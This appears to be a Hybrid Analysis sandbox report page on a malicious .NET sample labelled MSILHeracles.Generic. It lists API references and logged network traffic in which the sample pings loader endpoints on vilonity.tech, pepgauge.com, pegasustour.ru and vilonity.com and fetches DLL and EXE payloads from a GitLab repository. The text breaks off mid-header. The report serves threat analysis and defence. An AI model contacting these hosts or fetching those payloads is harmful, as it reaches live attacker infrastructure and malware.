26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 60:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4b0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious MSILHeracles.Generic Sample aa381c3bc218… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample aa381c3bc218…. Malware family: MSILHeracles.Generic. Threat score 100/100. 10/27 AV engines flagged this file. 18 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712","keywords":["Malicious","MSILHeracles.Generic","malware analysis","sandbox report","threat intelligence","aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712"],"about":{"@type":"SoftwareApplication","name":"34DE06929392.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"MSILHeracles.Generic","antivirusDetections":{"malicious":10,"total":27},"behavioralIndicators":{"malicious":18,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T8cf,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001312.00000000.136843.06900000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp")28:T5ab,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "aa381c3bc2180d99cb8e41a8e0dcb7bfa377c2f2fdd37c912db9f10e494d8712.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000032.00000001.138810.00362000.00000002.mdmp, 00000000-00000032.00000002.140730.06200000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001312.00000000.136843.06900000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001696.00000001.140420.00A31000.00000002.mdmp, 00000000-00001696.00000001.140420.6E991000.00000002.mdmp, 00000000-00001696.00000001.140420.70A15000.00000002.mdmp")29:T9de," HTTP/1.1 200 OK Date: Tue 17 Feb 2026 20:56:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} X-Powered-By: Express Access-Control-Allow-Origin: * Content-Language: ru ETag: W/"10d850-oMms5iX6BV6hbeK2wgoxyW23+pw" Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=FF6IIIIM4uvQ1EI4jfx6IVmbA6sQf7vGfZJJAPP1d1ZPiw36CSWp9snZHv%2F0MLfdhyhQJfAPGnQlumK1tmhMz9YXF5HrR3VY"}]} cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: 9cf83137efaa15c6-SJC alt-svc: h3=":443"; ma=86400 with response body ==>63333331626163646361643434303531333338303462323630376636653265653533343238313736306466343333386361666634313032623261383861396236....... "GET /api/loader/ping HTTP/1.1 Connection: Keep-Alive User-Agent: 6f56d5c9dc3f88c8 Host: vilonity.tech" Response ==> HTTP/1.1 200 OK Date: Tue 17 Feb 2026 20:56:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} X-Powered-By: Express Access-Control-Allow-Origin: * Content-Language: ru ETag: W/"118894-GF0DgI+Vctag04EXGU5D9/IggSQ" Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=65iTcjbtC4yesg6Z%2FBDBXeCdKQvz9aqt6NubaNNGqMyz8HSGBZFlgks9cuvIVhgpL3y5Rgpz2We3XJLpQfovXOi6iEe4lW4ZqBiZSEU%3D"}]} cf-cache-status: DYNAMIC vary: accept-encoding Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=11 cfOrigin;dur=10604 CF-RAY: 9cf83137e8876798-SJC alt-svc: h3=":443"; ma=86400 with response body ==>63333331626163646361643434303531333338303462323630376636653265653533343238313736323330666232663963636530393038353138366264623230....... "GET /api/loader/ping HTTP/1.1 Connection: Keep-Alive User-Agent: 6f56d5c9dc3f88c8 Host: pepgauge.com" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Feb 2026 20:56:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1237478 Connection: keep-alive X-Powered-By: Express Access-Control-Allow-Origin: * Content-Language: ru ETag: W/"12e1e6-aR49Q+w28rIFdbS68BFAwPrxNms" with response body ==>63333331626163646361643434303531333338303462323630376636653265653533343238313736303434336663323363646431326161643265316131623262....... "GET /api/loader/ping HTTP/1.1 Connection: Keep-Alive User-Agent: 6f56d5c9dc3f88c8 Host: pegasustour.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Tue 17 Feb 2026 20:56:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1081818 Connection: keep-alive X-Powered-By: Express Access-Control-Allow-Origin: * Content-Language: ru ETag: W/"1081da-x6ElPRFwwGBzN+Pxel3I1akO/Jk" with response body ==>63333331626163646361643434303531333338303462323630376636653265653533343238313736316234353938653932396234303966396664656535666336....... "GET /api/loader/ping HTTP/1.1 Connection: Keep-Alive User-Agent: 6f56d5c9dc3f88c8 Host: vilonity.com" Response ==> HTTP/1.1 200 OK Server: ddos-guard Connection: keep-alive Keep-Alive: timeout=60 Set-Cookie: __ddg8_=wsBVqMoMzFj6IBJt; Domain=.vilonity.com; Path=/; Expires=Tue 17-Feb-2026 21:16:35 GMT Set-Cookie: __ddg10_=1771361795; Domain=.vilonity.com; Path=/; Expires=Tue 17-Feb-2026 21:16:35 GMT Set-Cookie: __ddg9_=64.124.12.162; Domain=.vilonity.com; Path=/; Expires=Tue 17-Feb-2026 21:16:35 GMT Content-Security-Policy: upgrade-insecure-requests; Set-Cookie: __ddg1_=1ZZThScgb8fe8SeE1hPM; Domain=.vilonity.com; HttpOnly; Path=/; Expires=Wed 17-Feb-2027 20:56:35 GMT Date: Tue 17 Feb 2026 20:56:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1065056 X-Powered-By: Express Access-Control-Allow-Origin: * Content-Language: ru ETag: W/"104060-5hFWty6bkUWeFLNiLnBaLOYqWKg" with response body ==>63333331626163646361643434303531333338303462323630376636653265653533343238313736663033343332383632343632333130396532643465343439....... "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1 Host: gitlab.com Connection: Keep-Alive" Response ==> HTTP/1.1 302 Found Date: Tue 17 Feb 2026 20:57:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Server: cloudflare Location: https://gitlab.com/users/sign_in CF-Ray: 9cf832983bb1ce3c-SJC CF-Cache-Status: MISS Cache-Control: no-cache Set-Cookie: _gitlab_session=c7b0e5cf132cec1a6503122e261763b2; path=/; secure; HttpOnly; SameSite=None Set-Cookie: __cf_bm=wCP.HAvvTUjhml3eippWCsQh8EjP6gcv8GGZ.hW.vG0-1771361852-1.0.1.1-eqTxrP4SeLFwPvkiorQedr9fwLB7ri6kO7WDO9q9xWcWNjDWcVE.FXtkMIvu17dGKeSFYtxMPo_TARFA0KwEMWvYOXC_ltaCUyibyJDMw6I; path=/; expires=Tue 17-Feb-26 21:27:32 GMT; domain=.gitlab.com; HttpOnly; Secure Set-Cookie: _cfuvid=jMrd2XnG_4krB09sP4crDBErPVgRGQemWGm1elLF818-1771361852369-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' blob: data: https://embed.figma.com https://www.figma.com https://www.youtube.com; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ https://embed.figma.com https://www.figma.com https://www.youtube.com; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-2QCDnGuE+XWTl2tMl9pKAQ=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-17-lb-gprd gitlab-sv: web-gke-us-east1-c nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 1 ratelimit-remaining: 499 ratelimit-reset: 1771361880 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9cf83298602ace3c-ATL" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: 9cf83298602ace3c-ATL x-runtime: 0.049108 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Tue 17 Feb 2026 20:57:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6505 Connection: close accept-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cross-origin-embedder-policy: require-corp cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=() browsing-topics=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() interest-cohort=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() referrer-policy: same-origin server-timing: chlray;desc="9cf832997cb8ce3c" x-content-type-options: nosniff x-frame-options: SAMEORIGIN Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Set-Cookie: __cf_bm=idCZCtfIu01XCL.FV4xyR0bBgjfmbNHbnACujVBAYeI-1771361852-1.0.1.1-WqPhO_xfWJhBYM2xzSAvPohOXMI.5fmU7ph0llEy_UfuVIzpNqVIHGff2BlbFp9SPvOQtJCXEaDrGnKptNk_ZfMpylBjobxkwJMKB_WFM_Y; path=/; expires=Tue 17-Feb-26 21:27:32 GMT; domain=.gitlab.com; HttpOnly; Secure Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9j2oK8s%2B9kGgR4ttxFXIlzQTg4C7DUuhlaP8NC7x5A98XVBE9FoIH2z2sTRwWocC6F%2FPiYRdOq77OHEx1PNc6nZsKjmJv0mrVOlRzbiHGblHu%2F9DrWOt3vPtB0Q%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0.01 "report_to":"cf-nel" "max_age":604800} Strict-Transport-Security: max-age=31536000 Server: cloudflare CF-RAY: 9cf832997cb8ce3c-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Tue 17 Feb 2026 20:57:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Server: cloudflare Location: https://gitlab.com/users/sign_in CF-Ray: 9cf8329d6d93cfcc-SJC CF-Cache-Status: MISS Cache-Control: no-cache Set-Cookie: _gitlab_session=0a2e743906b6f9031951908de01f6aca; path=/; secure; HttpOnly; SameSite=None Set-Cookie: __cf_bm=ip5cQ6p5asKAjtnI0__rvzho.UwudKM_p.N36yTjuKQ-1771361853-1.0.1.1-59RPzVZnCmYQprNLTaahUdAhpkGW_8qZtSBDQb67LjYhLvjFIR6XrP1SfmRMcT6j2zZbw9uFqcUDWs9DPn6C.J7joYR82NoQU1sGWCa9fWU; path=/; expires=Tue 17-Feb-26 21:27:33 GMT; domain=.gitlab.com; HttpOnly; Secure Set-Cookie: _cfuvid=wvlWNhwzbUyxe1wmNmP6Jx13SP5xQD9Q_mr0w5mPeEc-1771361853191-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' blob: data: https://embed.figma.com https://www.figma.com https://www.youtube.com; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ https://embed.figma.com https://www.figma.com https://www.youtube.com; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-wPmf90hd0mSM2ACmDaTKwA=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-49-lb-gprd gitlab-sv: web-gke-us-east1-b nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 2 ratelimit-remaining: 498 ratelimit-reset: 1771361880 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9cf8329d843ccfcc-ATL" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: 9cf8329d843ccfcc-ATL x-runtime: 0.051817 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Tue 17 Feb 2026 20:57:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6505 Connection: close accept-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cross-origin-embedder-policy: require-corp cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=() browsing-topics=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() interest-cohort=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() referrer-policy: same-origin server-timing: chlray;desc="9cf8329eae9ecfcc" x-content-type-options: nosniff x-frame-options: SAMEORIGIN Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Set-Cookie: __cf_bm=9e3m4maCJUdvKlsEClSWaikdnD1jYgy59PiabulP4qE-1771361853-1.0.1.1-8K8.XOcTrXX0Jw05qX3HYT2I4TelJMvMskSKggrSSlDrKoxczNmQPWTb3uknfwEE6Azw0KRT921iAJjwIric61BJt2N8VeLsJuVCAVyL5c8; path=/; expires=Tue 17-Feb-26 21:27:33 GMT; domain=.gitlab.com; HttpOnly; Secure Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8bKvepqwr4eb3FsbTL2aWNV0jBlX7Jc1zke0saviuHWtBKz9VlZNeSeme0hkB6UVhrKpYp6TbWNz7ceLJ4Tqq862aI9ojH9YA0mTEX8BQwX8%2FxHV3PlQQATm%2FK0%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0.01 "report_to":"cf-nel" "max_age":604800} Strict-Transport-Security: max-age=31536000 Server: cloudflare CF-RAY: 9cf8329eae9ecfcc-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Tue 17 Feb 2026 20:57:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Server: cloudflare Location: https://gitlab.com/users/sign_in CF-Ray: 9cf832a01c9e67d0-SJC CF-Cache-Status: MISS Cache-Control: no-cache Set-Cookie: _gitlab_session=af592b48500226465482a774bc153614; path=/; secure; HttpOnly; SameSite=None Set-Cookie: __cf_bm=eZjERiAi5dHztji1huHYj_izcxdpU5hmLvn8kcaX8jA-1771361853-1.0.1.1-kp2kamFROV66R1WMzTSj2cxfnKWNHDkj7e2YlmvhqMHxVng2JzumCQ5p5Wzv.zYB26SphvjpmasGZRBo_7vqMNw7TF3aaUDyADEKRm.l5K4; path=/; expires=Tue 17-Feb-26 21:27:33 GMT; domain=.gitlab.com; HttpOnly; Secure Set-Cookie: _cfuvid=EUljUe9NUTaEMMm7qM8fBhBnNlHq4St9hN3Dh806eYE-1771361853602-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' blob: data: https://embed.figma.com https://www.figma.com https://www.youtube.com; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ https://embed.figma.com https://www.figma.com https://www.youtube.com; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-bvLjf3AcXot+4/3cdrWl1w=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-22-lb-gprd gitlab-sv: web-gke-us-east1-b nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 3 ratelimit-remaining: 497 ratelimit-reset: 1771361880 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9cf832a032b167d0-ATL" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: 9cf832a032b167d0-ATL x-runtime: 0.040541 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Tue 17 Feb 2026 20:57:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6526 Connection: close accept-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA cross-origin-embedder-policy: require-corp cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=() browsing-topics=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() interest-cohort=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() referrer-policy: same-origin server-timing: chlray;desc="9cf832a12d1e67d0" x-content-type-options: nosniff x-frame-options: SAMEORIGIN Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Set-Cookie: __cf_bm=1opRPbci6D3yI7q0CBAhlYritrlzISBTWfHw6Uqukys-1771361853-1.0.1.1-4YXd5_lctU_4NPVPLuJQNFCwtxlAuvaHWr5FKd4H2pSgeuLtBcP7lhs_DzNebkxWqQK1PZolsUGSzFcGtGjpJbVfAJAgg7.JBUVzBl9cJ0E; path=/; expires=Tue 17-Feb-26 21:27:33 GMT; domain=.gitlab.com; HttpOnly; Secure Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XpiTX2ykwH679O45aFmi2uJocKhjRLfBvwPdTY8B94dHnHYgoW4AifzmG0jMYCPXBWaZWfDjUnCc1S%2FnapFxY8ObOG9B7T9TgCqq1RapY4VTG54EohhVbiJg1fQ%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0.01 "report_to":"cf-nel" "max_age":604800} Strict-Transport-Security: max-age=31536000 Server: cloudflare CF-RAY: 9cf832a12d1e67d0-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Tue 17 Feb 2026 20:57:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Server: cloudflare Location: https://gitlab.com/users/sign_in CF-Ray: 9cf832a20a55e0ce-SJC CF-Cache-Status: MISS Cache-Control: no-cache Set-Cookie: _gitlab_session=fee540a7b0e976797189fc2e7e4ff442; path=/; secure; HttpOnly; SameSite=None Set-Cookie: 